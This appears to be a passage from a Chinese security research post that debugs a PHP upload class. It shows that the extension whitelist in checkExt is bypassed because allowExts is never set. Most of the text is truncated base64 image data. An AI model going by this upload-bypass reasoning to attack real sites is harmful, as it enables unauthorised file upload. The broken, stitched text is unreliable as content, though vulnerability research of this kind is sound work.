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 truncated
<p>再次跟进一下checkExt发现是一个很强的校验白名单</p>
<div class=highlight><pre><span></span><span class=x>private function checkExt($ext) {</span>
<span class=x> if(!empty($this-&gt;allowExts))</span>
<span class=x> return in_array(strtolower($ext),$this-&gt;allowExts,true);</span>
<span class=x> return true;</span>
<span class=x> }</span>
</pre></div>
<p>但是重点是他并没有赋值进去</p>
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191230-ee99d5a4-d497-1.png title><img src="data:image/png;base64,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 truncated
<p>在这进行反向验证,讲前面的属性修改为在config里头的内容</p>
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191239-f3d0cb4a-d497-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABHUAAAGpCAYAAAADVgreAAEAAElEQVR4nOz9d5gd2XnY+X9PVd0cO+eABho5Y2YATMbkxCFnmEmJoizLkiVLtmRb9s/2WmvL613HtddBslaJS1JiEDOpGXJyTgAGGWiE7kbn3DfHqjq/P+7tRiNjOJgZYOb9PE8/jXvvqVOnqm5fdL39nveoYiGrEUIIIYQQQgghhBDXFeODHoAQQgghhBBCCCGEeOckqCOEEEIIIYQQQghxHZKgjhBCCCGEEEIIIcR1SK3bsFlq6lxjTMOgra0Ny7LOe811XQYGBshkMh/AyN5fhmEQikRJJxPv2z61VjTt2EZ47jgDJ1LID4cQQgghhBAfHS2t7YyPjXzQwxDiip0fNRDiI0wpzdQbu5n6oAcihBBCCCGEEEJchky/EkIIIYQQQgghhLgOSVBHCCGEEEIIIYQQ4jokQR0hhBBCCCGEEEKI65AEdYQQQgghhBBCCCGuQxLUEUIIIYQQQgghhLgOSVBHCCGEEEIIIYQQ4jokS5oL8UHw+Ii3xnHn50ilyhduowyCjQ0EVJr5iRxOoIHOHpuxw3M4qMVmhjdKrNXCybsX6MQiXG8xe3iCYvUZMxTA45QoFBzweIk0xiE5SzrjXO2jFEIIIYQQQgjxHpJMHSE+AMrrwx/0ovTFAynK4yPeVQuFIi4QXN5GIJs5K6ADYNXUE/WWSc+UCXc1EAn78IUD+IMG+awi4HEoL26iCHU0UV/rB8DwWPgjfpQtAR0hhBBCCCGEuN5Ipo4AQGtFtH017XEPtgPoAvMTo8wmitR0r6EuoFCmhanTjJ4aJFW8SHbJR4W/i3X3hhh58jDJsrp8+3NYXgPlupQumF0DYBDo6MaXniDpiVHTGaCpwyV9MErdch9WOcfcaIKyA1aNHyeRI9DWQaSU5NRIkvjq5XhnByBch5uaRy/26yNgarIFjWmZWD4vlkeTdUw8QQtdKGJfbEhCCCGEEEIIIa4pEtQRVQqlNMmRg4wl9dKnmTt9kHnDR6SukaDKkit/RAM6ysQfD+GhRNbyYeRyuIEo0YhNJpHHveJgiMLy+LG8YPh8eP0e/BGTwlSSklN53VPbTOfaEHPPJ8nnoNQUof7kSUZHcuf0ZRCuUZRmgnjJUYg00LWhjsLkIOPDBUIrFfkkLEZ1Aj48psIJ+wiYFpbXD+USVjxKqDkGA4NMZ67S+RJCCCGEEEII8Z6SoI6oqmSbmIF66gNeKGVJJZOUnEo0wBtrojbqJTkxifNRzeRQFqGWZhqbvORzPkxPkeZNEdzZcfLpAq6rL98HgDIwfQGUncI1TUzDxBvwUqom/JiRKPF4ALOcomQECcQs4h0B8qMeQrURTK8HwymSns1i6yhhT5aJTAnHY6MmI7R0+sgMg7K8BCxNvmQvxnSskAedz5OZmKdQAkiRWBjX9PzVPFtCCCGEEEIIId5jEtQRZ7guHsskkcoRiNUSc21mExlcwCllyeQgXFtPsTRJrvwRrMGiSyQHhikk6une3IGTTzBzdJJ8toBtX2FAB8BQWCEPxal58qlKhCyfqL7kDxLya1IZTWNynqztYAYieLPzTMznsR1QxTLKddAaiNfhzczjBrxY3iCxuEGyfxZP1zJ6lrlQSDFm2ws7xh/04wlbhOpr8GswLAsDm+ToPOWParBOCCGEEEIIIa5TUihZAKCUQ3r8JIOjk6RTSTKZApbfh1l9h9jZWWYmpshqLwGf54Md7AdFa8q2Sd2aVvSJw2Q8jYT9ZQp5uxJguUJKKfwhyKfOD4y5xRzp2RROTQR7cpZywSFUH8YwfATrY8TaW2lo8WHny7gavE0RnGQWJ1+gnEkwNWdRF8sxuucog6emyWbLuAsBOI8Xf9BLdmycufEEyYkEuYyFP6o+utlXQgghhBBCCHEdk6COAEBrMLzeahBHoZRCa41WIRo6WghU3ykKxTsvC/zhEWxrJJwZ5viJJHMjSXw1ETzv8IQoI4rPzFWnP51Dg+soYg0G6UkHXIfM4DCn+0ZJzNj4Ipr0ZBaHSnHrmkaX+aECtqMItXeybEUMrRXadjFNcG2NXd2PNxzGZxXJzBYr11ZrVCQImSwS0xFCCCGEEEKI649MvxIAKGXgizRR5yuQzmt8QYtSKo/juDhmjNoml5xt4VdlkiX78h1+SOWHT9M35OAAqb4+MoaDc5ksHeXx4PGZi8EwI1aH10mgwgF8CjA8BKMW2fH5SqFkM0w8kGUiA8pSKK+PcG0t0ZjD1P5BCu5i8R1igSKT3ko/udERhsouPZ01BCM2gaAf107haFCBENHGELmREfJLLp+vxkf5dPHqnyghhBBCCCGEEO85CeqIKpfc/AQqEsFnGRSSM2RzBTSa+dFh7EgISxVJzqbJlT+6QR2cSkAHQDsOzhWUFlKGhelRaEcDCsoJZkdzqIW5baaJ5TVRC1GfYABrbp68UmjHppgu4AmFMSNRAr4JCvlqv5EInvkEZdNAVXrGnpmgP2WgPRbKADtXwDW9hKM+iuOjpJdM+dLaR8BXJJ2ujksIIYQQQgghxHVFgjriDKdINlEke87TupwlNXfus+JKucUChZI+U3cnlSN/VoschSULT6nCPKePuItTonS5SHp4nEIqgCovCb7kZhg4WCafv8DkKaUoZfPg2OAqCnPz2GV9ThOb2SPD2I4EdIQQQgghhBDieiRBHSHec/odFVLGLlM4LxnKpZw8J7BWLpIvX2yXGqe08KLGvmA7h1LmI7iKmRBCCCGEEEJ8SEihZCGEEEIIIYQQQojrkAR1hBBCCCGEEEIIIa5DEtQRQgghhBBCCCGEuA5JUEcIIYQQQgghhBDiOiRBHSGEEEIIIYQQQojrkAR1hHiPKMuD128iC4YLIYQQQgghhHgvSFBHiPeESWj5crqXhyWoI4QQQgghhBDiPSFBHSHeC6Ea2nujFKeyuB/0WIQQQgghhBBCfChZH/QAxLVCEWrspjkerDx0iySmxphP5SpBCcNDpLYRT2mexMJzH2WeZpbfHGLq1ZOky+fm4phEl7UQSI5yYroMkqsjhBBCCCGEEOI9IEEdAYDWCtProzB5hNGkPu910xshErJIpfIf7YDOQnwmGiHkd3HKqvLcklOmQnGaWk2m357BkYCOEEIIIYQQQoj3iAR1RFU1+GD58QcMcMuUSiVcDSiLSH09bnqUXOn8gM9HhuGncUM3NYECk9M+3GKW+Oa1tDPL4JEpSiUNyiTSWos3Pc9QsvRBj1gIIYQQQgghxIeY1NQRZ2iNN9RAvLaB+uZWoiE/CrCibUStDIlUEV84gtf8qL5tbNJjM6SLYbrXxrACYbxOmpmRFLZdCXYZgRDxxgDpsTnK5Y9wAEwIIYQQQgghxHvuo3p3Ls6hlEt+fpyZmUmmxkZIZB38wSCmGaKhJUx2aooCPiI1NQQ8H9EEL9cmP5eh5LoUh4fIlBTZsXHmZvK4LoDCV1dH0MiRmM5WspyEEEIIIYQQQoj3iAR1RJWmXEiTzhZwtYtj22Ao8AQI+nzUtq2kZ9kyasL+j3SVmEB7G621RYaOjJJIeajrqMGzcEKUSW1XA6WpKTK5j3TlISGEEEIIIYQQ74OPaMqFOJfWJvHWFcRLI4zM2fiDAdxiFreQYvBwstLICtLQGOejnICSGzvN0VGbsg25tw+QNMsszLIy6rqpj2U4vTuJ+5EOfQkhhBBCCCGEeD9IUEcAoJRDcnIUT1MLHV0Gpewcs8l0ZaUru1xppEsUCwUc96ObhaLKNtWzgbbLlO3qvw0fLVvbKPbvJVmQgI4QQgghhBBCiPeeBHXEGeUMMyMnmbnY606e+an8+zmi64a3tYvW0CzH+1NoydIRQgghhBBCCPE+kKCOEFdDbo7B17KkihLQEUIIIYQQQgjx/pCgjhBXQXluhukPehBCCCGEEEIIIT5SZPUrIYQQQgghhBBCiOuQBHWEEEIIIYQQQgghrkMS1BFCCCGEEEIIIYS4DklQRwghhBBCCCGEEOI6JEEdIYQQQgghhBBCiOuQBHWEEEIIIYQQQgghrkMS1BHiXQgGQ/gDwXfVR31D01mP4zW1GIb5rvoUQgghhBBCCPHhZ33QAxDi2qOw/GFqakLkZ2bIlO2Ltmxt76RcKnF68NR5r/WsWIXX67vgdtlMmuGhAQDq6huJ19Rx8vgRANZt2MKeN1+lUMhfhWMRQgghhBBCCPFhJZk6QpzDG22ld91W1q7rpT7gvWi7SCSG3x8gFq8hEAyd93rvqnWkU0nSqSSRaAyv10s6lSSfz9Hds2KxXd/Rg2QzqffkWIQQQgghhBBCfHhJpo4Q51BeH5mxAQyrBWWoC7dRik1bb+LN114AFDffdhfPP/PEee1GR04DEI5EyGYyjI6cxuv10dm17Kx2c7PTPPTopwHw+fzcff/H0FozOT7KnrdevboHKIQQQgghhBDiQ0GCOkKcozjTz7BZw8r2pvNesywPpmVyz/2P8pMffIsVK9dQLpV4/pkneOjRT/PMz36EY9vYdmXK1sc+8TkATMtEa82WbTtAQWJ+FoAbtt/Kib4jJBNz/M0Pvw3ALbffLdOvhBBCCCGEEEJclgR1hHgHunt6aWpu5Sc/+NZ5rz354++y89ZdjI2cZqD/BAA/+v43AFi1Zj3ZTIaR4UG8Xh/bb74dgN1vvMwN229ldHhwsR+fL0BjcwvlUgmAdCpFRqZnCSGEEEIIIYQ4hwR1hHgHTh4/sljQ+Fyu6/DKi0+f9dza9ZuBSjHkck2JaCyOaZ69stXuN15ebNfQ2Ew2kyYcji6+Xi6XJagjhBBCCCGEEOI8UihZiPfQ/Nws83Oz5PM5stk083OzJBPz57ULhSMcObSPLine truncated
<p>再次进行断点跟到最后面的config的地方发现成功修改</p>
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191247-f8be92a4-d497-1.png title><img src="data:image/png;base64,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